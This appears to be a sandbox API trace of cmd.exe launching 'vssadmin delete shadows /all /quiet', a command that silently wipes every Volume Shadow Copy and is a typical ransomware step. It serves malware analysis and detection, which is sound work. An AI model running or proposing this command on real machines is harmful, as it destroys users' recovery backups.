	[0149.191] _wcsicmp (_String1="vssadmin", _String2="SHIFT") returned 3
	[0149.191] _wcsicmp (_String1="vssadmin", _String2="CLS") returned 19
	[0149.191] _wcsicmp (_String1="vssadmin", _String2="CALL") returned 19
	[0149.191] _wcsicmp (_String1="vssadmin", _String2="VERIFY") returned 14
	[0149.191] _wcsicmp (_String1="vssadmin", _String2="VER") returned 14
	[0149.191] _wcsicmp (_String1="vssadmin", _String2="VOL") returned 4
	[0149.191] _wcsicmp (_String1="vssadmin", _String2="EXIT") returned 17
	[0149.191] _wcsicmp (_String1="vssadmin", _String2="SETLOCAL") returned 3
	[0149.191] _wcsicmp (_String1="vssadmin", _String2="ENDLOCAL") returned 17
	[0149.192] _wcsicmp (_String1="vssadmin", _String2="TITLE") returned 2
	[0149.192] _wcsicmp (_String1="vssadmin", _String2="START") returned 3
	[0149.192] _wcsicmp (_String1="vssadmin", _String2="DPATH") returned 18
	[0149.192] _wcsicmp (_String1="vssadmin", _String2="KEYS") returned 11
	[0149.192] _wcsicmp (_String1="vssadmin", _String2="MOVE") returned 9
	[0149.192] _wcsicmp (_String1="vssadmin", _String2="PUSHD") returned 6
	[0149.192] _wcsicmp (_String1="vssadmin", _String2="POPD") returned 6
	[0149.192] _wcsicmp (_String1="vssadmin", _String2="ASSOC") returned 21
	[0149.192] _wcsicmp (_String1="vssadmin", _String2="FTYPE") returned 16
	[0149.192] _wcsicmp (_String1="vssadmin", _String2="BREAK") returned 20
	[0149.192] _wcsicmp (_String1="vssadmin", _String2="COLOR") returned 19
	[0149.192] _wcsicmp (_String1="vssadmin", _String2="MKLINK") returned 9
	[0149.192] _wcsicmp (_String1="vssadmin", _String2="DIR") returned 18
	[0149.192] _wcsicmp (_String1="vssadmin", _String2="ERASE") returned 17
	[0149.192] _wcsicmp (_String1="vssadmin", _String2="DEL") returned 18
	[0149.192] _wcsicmp (_String1="vssadmin", _String2="TYPE") returned 2
	[0149.192] _wcsicmp (_String1="vssadmin", _String2="COPY") returned 19
	[0149.192] _wcsicmp (_String1="vssadmin", _String2="CD") returned 19
	[0149.192] _wcsicmp (_String1="vssadmin", _String2="CHDIR") returned 19
	[0149.192] _wcsicmp (_String1="vssadmin", _String2="RENAME") returned 4
	[0149.192] _wcsicmp (_String1="vssadmin", _String2="REN") returned 4
	[0149.192] _wcsicmp (_String1="vssadmin", _String2="ECHO") returned 17
	[0149.192] _wcsicmp (_String1="vssadmin", _String2="SET") returned 3
	[0149.192] _wcsicmp (_String1="vssadmin", _String2="PAUSE") returned 6
	[0149.192] _wcsicmp (_String1="vssadmin", _String2="DATE") returned 18
	[0149.192] _wcsicmp (_String1="vssadmin", _String2="TIME") returned 2
	[0149.192] _wcsicmp (_String1="vssadmin", _String2="PROMPT") returned 6
	[0149.192] _wcsicmp (_String1="vssadmin", _String2="MD") returned 9
	[0149.192] _wcsicmp (_String1="vssadmin", _String2="MKDIR") returned 9
	[0149.192] _wcsicmp (_String1="vssadmin", _String2="RD") returned 4
	[0149.192] _wcsicmp (_String1="vssadmin", _String2="RMDIR") returned 4
	[0149.192] _wcsicmp (_String1="vssadmin", _String2="PATH") returned 6
	[0149.192] _wcsicmp (_String1="vssadmin", _String2="GOTO") returned 15
	[0149.192] _wcsicmp (_String1="vssadmin", _String2="SHIFT") returned 3
	[0149.192] _wcsicmp (_String1="vssadmin", _String2="CLS") returned 19
	[0149.192] _wcsicmp (_String1="vssadmin", _String2="CALL") returned 19
	[0149.192] _wcsicmp (_String1="vssadmin", _String2="VERIFY") returned 14
	[0149.192] _wcsicmp (_String1="vssadmin", _String2="VER") returned 14
	[0149.193] _wcsicmp (_String1="vssadmin", _String2="VOL") returned 4
	[0149.193] _wcsicmp (_String1="vssadmin", _String2="EXIT") returned 17
	[0149.193] _wcsicmp (_String1="vssadmin", _String2="SETLOCAL") returned 3
	[0149.193] _wcsicmp (_String1="vssadmin", _String2="ENDLOCAL") returned 17
	[0149.193] _wcsicmp (_String1="vssadmin", _String2="TITLE") returned 2
	[0149.193] _wcsicmp (_String1="vssadmin", _String2="START") returned 3
	[0149.193] _wcsicmp (_String1="vssadmin", _String2="DPATH") returned 18
	[0149.193] _wcsicmp (_String1="vssadmin", _String2="KEYS") returned 11
	[0149.193] _wcsicmp (_String1="vssadmin", _String2="MOVE") returned 9
	[0149.193] _wcsicmp (_String1="vssadmin", _String2="PUSHD") returned 6
	[0149.193] _wcsicmp (_String1="vssadmin", _String2="POPD") returned 6
	[0149.193] _wcsicmp (_String1="vssadmin", _String2="ASSOC") returned 21
	[0149.193] _wcsicmp (_String1="vssadmin", _String2="FTYPE") returned 16
	[0149.193] _wcsicmp (_String1="vssadmin", _String2="BREAK") returned 20
	[0149.193] _wcsicmp (_String1="vssadmin", _String2="COLOR") returned 19
	[0149.193] _wcsicmp (_String1="vssadmin", _String2="MKLINK") returned 9
	[0149.193] _wcsicmp (_String1="vssadmin", _String2="FOR") returned 16
	[0149.193] _wcsicmp (_String1="vssadmin", _String2="IF") returned 13
	[0149.193] _wcsicmp (_String1="vssadmin", _String2="REM") returned 4
	[0149.193] ??_V@YAXPEAX@Z () returned 0x1
	[0149.193] GetProcessHeap () returned 0x28860f10000
	[0149.193] RtlAllocateHeap (HeapHandle=0x28860f10000, Flags=0x8, Size=0xffde) returned 0x28860f18e90
	[0149.195] GetProcessHeap () returned 0x28860f10000
	[0149.195] RtlAllocateHeap (HeapHandle=0x28860f10000, Flags=0x8, Size=0x5a) returned 0x28860f292b0
	[0149.195] _wcsnicmp (_String1="vssa", _String2="cmd ", _MaxCount=0x4) returned 19
	[0149.195] malloc (_Size=0xffce) returned 0x28861110820
	[0149.195] ??_V@YAXPEAX@Z () returned 0x28861110820
	[0149.195] GetProcessHeap () returned 0x28860f10000
	[0149.195] RtlAllocateHeap (HeapHandle=0x28860f10000, Flags=0x8, Size=0x1ffac) returned 0x28860f2c1e0
	[0149.198] SetErrorMode (uMode=0x0) returned 0x0
	[0149.198] SetErrorMode (uMode=0x1) returned 0x0
	[0149.198] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x28860f2c1f0, lpFilePart=0xb15814ed40 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0xb15814ed40*="system32") returned 0x13
	[0149.198] SetErrorMode (uMode=0x0) returned 0x1
	[0149.198] GetProcessHeap () returned 0x28860f10000
	[0149.198] RtlReAllocateHeap (Heap=0x28860f10000, Flags=0x0, Ptr=0x28860f2c1e0, Size=0x4a) returned 0x28860f2c1e0
	[0149.198] GetProcessHeap () returned 0x28860f10000
	[0149.198] RtlSizeHeap (HeapHandle=0x28860f10000, Flags=0x0, MemoryPointer=0x28860f2c1e0) returned 0x4a
	[0149.198] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff7c211bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps;") returned 0xbc
	[0149.198] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1
	[0149.198] GetProcessHeap () returned 0x28860f10000
	[0149.198] RtlAllocateHeap (HeapHandle=0x28860f10000, Flags=0x8, Size=0x1b6) returned 0x28860f28e80
	[0149.198] GetProcessHeap () returned 0x28860f10000
	[0149.198] RtlAllocateHeap (HeapHandle=0x28860f10000, Flags=0x8, Size=0x35c) returned 0x28860f29b70
	[0149.199] GetProcessHeap () returned 0x28860f10000
	[0149.199] RtlReAllocateHeap (Heap=0x28860f10000, Flags=0x0, Ptr=0x28860f29b70, Size=0x1b8) returned 0x28860f29b70
	[0149.199] GetProcessHeap () returned 0x28860f10000
	[0149.199] RtlSizeHeap (HeapHandle=0x28860f10000, Flags=0x0, MemoryPointer=0x28860f29b70) returned 0x1b8
	[0149.199] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff7c211bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0149.199] GetProcessHeap () returned 0x28860f10000
	[0149.199] RtlAllocateHeap (HeapHandle=0x28860f10000, Flags=0x8, Size=0xe8) returned 0x28860f29040
	[0149.199] GetProcessHeap () returned 0x28860f10000
	[0149.199] RtlReAllocateHeap (Heap=0x28860f10000, Flags=0x0, Ptr=0x28860f29040, Size=0x7e) returned 0x28860f29040
	[0149.199] GetProcessHeap () returned 0x28860f10000
	[0149.199] RtlSizeHeap (HeapHandle=0x28860f10000, Flags=0x0, MemoryPointer=0x28860f29040) returned 0x7e
	[0149.199] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0149.199] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0xb15814eab0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xb15814eab0) returned 0x28860f290d0
	[0149.200] FindClose (in: hFindFile=0x28860f290d0 | out: hFindFile=0x28860f290d0) returned 1
	[0149.200] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\vssadmin.COM", fInfoLevelId=0x1, lpFindFileData=0xb15814eab0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xb15814eab0) returned 0xffffffffffffffff
	[0149.200] GetLastError () returned 0x2
	[0149.200] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\vssadmin.EXE", fInfoLevelId=0x1, lpFindFileData=0xb15814eab0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xb15814eab0) returned 0x28860f290d0
	[0149.200] FindClose (in: hFindFile=0x28860f290d0 | out: hFindFile=0x28860f290d0) returned 1
	[0149.200] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3
	[0149.200] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2
	[0149.201] ??_V@YAXPEAX@Z () returned 0x1
	[0149.201] GetConsoleTitleW (in: lpConsoleTitle=0xb15814f030, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c
	[0149.542] GetProcessHeap () returned 0x28860f10000
	[0149.542] RtlAllocateHeap (HeapHandle=0x28860f10000, Flags=0x8, Size=0x21c) returned 0x28860f177c0
	[0149.542] GetConsoleTitleW (in: lpConsoleTitle=0x28860f177d0, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c
	[0149.678] GetProcessHeap () returned 0x28860f10000
	[0149.678] RtlReAllocateHeap (Heap=0x28860f10000, Flags=0x0, Ptr=0x28860f177c0, Size=0xa4) returned 0x28860f177c0
	[0149.678] GetProcessHeap () returned 0x28860f10000
	[0149.678] RtlSizeHeap (HeapHandle=0x28860f10000, Flags=0x0, MemoryPointer=0x28860f177c0) returned 0xa4
	[0149.678] SetConsoleTitleW (lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe - vssadmin  delete shadows /all /quiet") returned 1
	[0149.817] GetProcessHeap () returned 0x28860f10000
	[0149.817] RtlFreeHeap (HeapHandle=0x28860f10000, Flags=0x0, BaseAddress=0x28860f177c0) returned 1
	[0149.817] InitializeProcThreadAttributeList (in: lpAttributeList=0xb15814ef50, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0xb15814ee40 | out: lpAttributeList=0xb15814ef50, lpSize=0xb15814ee40) returned 1
	[0149.817] UpdateProcThreadAttribute (in: lpAttributeList=0xb15814ef50, dwFlags=0x0, Attribute=0x60001, lpValue=0xb15814ee2c, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0xb15814ef50, lpPreviousValue=0x0) returned 1
	[0149.817] GetStartupInfoW (in: lpStartupInfo=0xb15814eee0 | out: lpStartupInfo=0xb15814eee0*(cb=0x68, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\WINDOWS\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x248, hStdOutput=0x254, hStdError=0x254)) 
	[0149.818] GetProcessHeap () returned 0x28860f10000
	[0149.818] RtlAllocateHeap (HeapHandle=0x28860f10000, Flags=0x8, Size=0x20) returned 0x28860f17610
	[0149.818] _wcsnicmp (_String1="COPYCMD", _String2="=::=::\\", _MaxCount=0x7) returned 38
	[0149.818] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38
	[0149.818] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38
	[0149.818] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2
	[0149.818] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2
	[0149.818] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0149.818] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0149.818] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0149.818] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3
	[0149.818] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3
	[0149.818] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5
	[0149.818] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5
	[0149.818] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9
	[0149.818] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9
	[0149.818] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11
	[0149.818] _wcsnicmp (_String1="COPYCMD", _String2="OneDriv", _MaxCount=0x7) returned -12
	[0149.818] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12
	[0149.818] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13
	[0149.818] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13
	[0149.818] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0149.818] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0149.818] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0149.818] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0149.818] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0149.818] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0149.818] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0149.818] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0149.819] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13
	[0149.819] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13
	[0149.819] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13
	[0149.819] _wcsnicmp (_String1="COPYCMD", _String2="SESSION", _MaxCount=0x7) returned -16
	[0149.819] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16
	[0149.819] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16
	[0149.819] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17
	[0149.819] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17
	[0149.819] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18
	[0149.819] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18
	[0149.819] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18
	[0149.819] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18
	[0149.819] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20
	[0149.819] GetProcessHeap () returned 0x28860f10000
	[0149.819] RtlFreeHeap (HeapHandle=0x28860f10000, Flags=0x0, BaseAddress=0x28860f17610) returned 1
	[0149.819] GetProcessHeap () returned 0x28860f10000
	[0149.819] RtlAllocateHeap (HeapHandle=0x28860f10000, Flags=0x8, Size=0x12) returned 0x28860f17610
	[0149.820] _get_osfhandle (_FileHandle=1) returned 0x254
	[0149.820] SetConsoleMode (hConsoleHandle=0x254, dwMode=0x0) returned 0
	[0149.820] _get_osfhandle (_FileHandle=0) returned 0x248
	[0149.820] SetConsoleMode (hConsoleHandle=0x248, dwMode=0x0) returned 0
	[0149.820] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\vssadmin.exe", lpCommandLine="vssadmin  delete shadows /all /quiet", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\WINDOWS\\system32", lpStartupInfo=0xb15814ee70*(cb=0x70, lpReserved=0x0, lpDesktop="Winsta0\\Default", lpTitle="vssadmin  delete shadows /all /quiet", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xb15814ee48 | out: lpCommandLine="vssadmin  delete shadows /all /quiet", lpProcessInformation=0xb15814ee48*(hProcess=0x94, hThread=0x98, dwProcessId=0xeac, dwThreadId=0xeb0)) returned 1
	[0149.844] CloseHandle (hObject=0x98) returned 1
	[0149.844] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1
	[0149.844] GetProcessHeap () returned 0x28860f10000
	[0149.844] RtlFreeHeap (HeapHandle=0x28860f10000, Flags=0x0, BaseAddress=0x28860f2b6b0) returned 1
	[0149.844] GetEnvironmentStringsW () returned 0x28860f2ab80*
	[0149.844] GetProcessHeap () returned 0x28860f10000
	[0149.844] RtlAllocateHeap (HeapHandle=0x28860f10000, Flags=0x8, Size=0xb24) returned 0x28860f2b6b0
	[0149.844] FreeEnvironmentStringsA (penv="=") returned 1
	[0149.844] NtQueryInformationProcess (in: ProcessHandle=0x94, ProcessInformationClass=0x0, ProcessInformation=0xb15814e348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0xb15814e348, ReturnLength=0x0) returned 0x0
	[0149.844] ReadProcessMemory (in: hProcess=0x94, lpBaseAddress=0xa6e1f66000, lpBuffer=0xb15814e380, nSize=0x7a0, lpNumberOfBytesRead=0xb15814e340 | out: lpBuffer=0xb15814e380*, lpNumberOfBytesRead=0xb15814e340*=0x7a0) returned 1
	[0149.844] WaitForSingleObject (hHandle=0x94, dwMilliseconds=0xffffffff) returned 0x0
	[0166.439] GetExitCodeProcess (in: hProcess=0x94, lpExitCode=0xb15814edc8 | out: lpExitCode=0xb15814edc8*=0x2) returned 1
	[0166.439] CloseHandle (hObject=0x94) returned 1
	[0166.439] _vsnwprintf (in: _Buffer=0xb15814ef98, _BufferCount=0x13, _Format="%08X", _ArgList=0xb15814edd8 | out: _Buffer="00000002") returned 8
	[0166.439] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000002") returned 1
	[0166.439] GetProcessHeap () returned 0x28860f10000
	[0166.439] RtlFreeHeap (HeapHandle=0x28860f10000, Flags=0x0, BaseAddress=0x28860f2b6b0) returned 1
	[0166.439] GetEnvironmentStringsW () returned 0x28860f2ab80*
	[0166.439] GetProcessHeap () returned 0x28860f10000
	[0166.439] RtlAllocateHeap (HeapHandle=0x28860f10000, Flags=0x8, Size=0xb24) returned 0x28860f2b6b0
	[0166.439] FreeEnvironmentStringsA (penv="=") returned 1
	[0166.439] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1
	[0166.439] GetProcessHeap () returned 0x28860f10000
	[0166.439] RtlFreeHeap (HeapHandle=0x28860f10000, Flags=0x0, BaseAddress=0x28860f2b6b0) returned 1
	[0166.439] GetEnvironmentStringsW () returned 0x28860f2ab80*
	[0166.439] GetProcessHeap () returned 0x28860f10000
	[0166.439] RtlAllocateHeap (HeapHandle=0x28860f10000, Flags=0x8, Size=0xb24) returned 0x28860f2b6b0
	[0166.440] FreeEnvironmentStringsA (penv="=") returned 1
	[0166.440] GetProcessHeap () returned 0x28860f10000
	[0166.440] RtlFreeHeap (HeapHandle=0x28860f10000, Flags=0x0, BaseAddress=0x28860f17610) returned 1
	[0166.440] DeleteProcThreadAttributeList (in: lpAttributeList=0xb15814ef50 | out: lpAttributeList=0xb15814ef50) 
	[0166.440] SetConsoleTitleW (lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 1
	[0166.535] ??_V@YAXPEAX@Z () returned 0x1
	[0166.536] _get_osfhandle (_FileHandle=1) returned 0x254
	[0166.536] SetConsoleMode (hConsoleHandle=0x254, dwMode=0x0) returned 0
	[0166.536] _get_osfhandle (_FileHandle=1) returned 0x254
	[0166.537] GetConsoleMode (in: hConsoleHandle=0x254, lpMode=0x7ff7c211fc08 | out: lpMode=0x7ff7c211fc08) returned 0
	[0166.537] _get_osfhandle (_FileHandle=0) returned 0x248
	[0166.537] GetConsoleMode (in: hConsoleHandle=0x248, lpMode=0x7ff7c211fc0c | out: lpMode=0x7ff7c211fc0c) returned 0
	[0166.537] GetConsoleOutputCP () returned 0x4e3
	[0166.697] GetCPInfo (in: CodePage=0x4e3, lpCPInfo=0x7ff7c211fbb0 | out: lpCPInfo=0x7ff7c211fbb0) returned 1
	[0166.697] SetThreadUILanguage (LangId=0x0) returned 0x409
	[0167.130] GetProcessHeap () returned 0x28860f10000
	[0167.130] RtlFreeHeap (HeapHandle=0x28860f10000, Flags=0x0, BaseAddress=0x28860f29040) returned 1
	[0167.130] GetProcessHeap () returned 0x28860f10000
	[0167.130] RtlFreeHeap (HeapHandle=0x28860f10000, Flags=0x0, BaseAddress=0x28860f29b70) returned 1
	[0167.130] GetProcessHeap () returned 0x28860f10000
	[0167.131] RtlFreeHeap (HeapHandle=0x28860f10000, Flags=0x0, BaseAddress=0x28860f28e80) returned 1
	[0167.131] GetProcessHeap () returned 0x28860f10000
	[0167.131] RtlFreeHeap (HeapHandle=0x28860f10000, Flags=0x0, BaseAddress=0x28860f2c1e0) returned 1
	[0167.131] GetProcessHeap () returned 0x28860f10000
	[0167.131] RtlFreeHeap (HeapHandle=0x28860f10000, Flags=0x0, BaseAddress=0x28860f292b0) returned 1
	[0167.131] GetProcessHeap () returned 0x28860f10000
	[0167.131] RtlFreeHeap (HeapHandle=0x28860f10000, Flags=0x0, BaseAddress=0x28860f18e90) returned 1
	[0167.131] GetProcessHeap () returned 0x28860f10000
	[0167.131] RtlFreeHeap (HeapHandle=0x28860f10000, Flags=0x0, BaseAddress=0x28860f29260) returned 1
	[0167.131] GetProcessHeap () returned 0x28860f10000
	[0167.131] RtlFreeHeap (HeapHandle=0x28860f10000, Flags=0x0, BaseAddress=0x28860f16330) returned 1
	[0167.131] GetProcessHeap () returned 0x28860f10000
	[0167.131] RtlFreeHeap (HeapHandle=0x28860f10000, Flags=0x0, BaseAddress=0x28860f291a0) returned 1
	[0167.131] _vsnwprintf (in: _Buffer=0x7ff7c2127f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0xb15814f378 | out: _Buffer="\r\n") returned 2
	[0167.131] _get_osfhandle (_FileHandle=1) returned 0x254
	[0167.131] GetFileType (hFile=0x254) returned 0x3
	[0167.131] _get_osfhandle (_FileHandle=1) returned 0x254
	[0167.131] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff7c2119970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3
	[0167.131] WriteFile (in: hFile=0x254, lpBuffer=0x7ff7c2119970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0xb15814f348, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c2119970*, lpNumberOfBytesWritten=0xb15814f348*=0x2, lpOverlapped=0x0) returned 1
	[0167.131] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff7c211bb90, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4
	[0167.131] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x288610e0080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13
	[0167.131] _vsnwprintf (in: _Buffer=0x288610f0060, _BufferCount=0x83e5, _Format="%s", _ArgList=0xb15814f388 | out: _Buffer="C:\\WINDOWS\\system32") returned 19
	[0167.132] _vsnwprintf (in: _Buffer=0x288610f0086, _BufferCount=0x83d2, _Format="%c", _ArgList=0xb15814f388 | out: _Buffer=">") returned 1
	[0167.132] _get_osfhandle (_FileHandle=1) returned 0x254
	[0167.132] GetFileType (hFile=0x254) returned 0x3
	[0167.132] _get_osfhandle (_FileHandle=1) returned 0x254
	[0167.132] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="C:\\WINDOWS\\system32>", cchWideChar=-1, lpMultiByteStr=0x7ff7c2119970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\WINDOWS\\system32>", lpUsedDefaultChar=0x0) returned 21
	[0167.132] WriteFile (in: hFile=0x254, lpBuffer=0x7ff7c2119970*, nNumberOfBytesToWrite=0x14, lpNumberOfBytesWritten=0xb15814f378, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c2119970*, lpNumberOfBytesWritten=0xb15814f378*=0x14, lpOverlapped=0x0) returned 1
	[0167.132] _get_osfhandle (_FileHandle=0) returned 0x248
	[0167.132] GetFileType (hFile=0x248) returned 0x3
	[0167.132] _get_osfhandle (_FileHandle=0) returned 0x248
	[0167.132] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0167.132] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7c2119970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xb15814f6d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c2119970*, lpNumberOfBytesRead=0xb15814f6d8*=0x1, lpOverlapped=0x0) returned 1
	[0167.132] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7c2119970, cbMultiByte=1, lpWideCharStr=0x7ff7c2123c30, cchWideChar=1 | out: lpWideCharStr="Essadmin delete shadows /all /quiet\n") returned 1
	[0167.132] _get_osfhandle (_FileHandle=0) returned 0x248
	[0167.132] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0167.133] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7c2119970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xb15814f6d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c2119970*, lpNumberOfBytesRead=0xb15814f6d8*=0x1, lpOverlapped=0x0) returned 1
	[0167.133] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7c2119970, cbMultiByte=1, lpWideCharStr=0x7ff7c2123c32, cchWideChar=1 | out: lpWideCharStr="xsadmin delete shadows /all /quiet\n") returned 1
	[0167.133] _get_osfhandle (_FileHandle=0) returned 0x248
	[0167.133] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0167.133] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7c2119970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xb15814f6d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c2119970*, lpNumberOfBytesRead=0xb15814f6d8*=0x1, lpOverlapped=0x0) returned 1
	[0167.133] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7c2119970, cbMultiByte=1, lpWideCharStr=0x7ff7c2123c34, cchWideChar=1 | out: lpWideCharStr="iadmin delete shadows /all /quiet\n") returned 1
	[0167.133] _get_osfhandle (_FileHandle=0) returned 0x248
	[0167.133] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
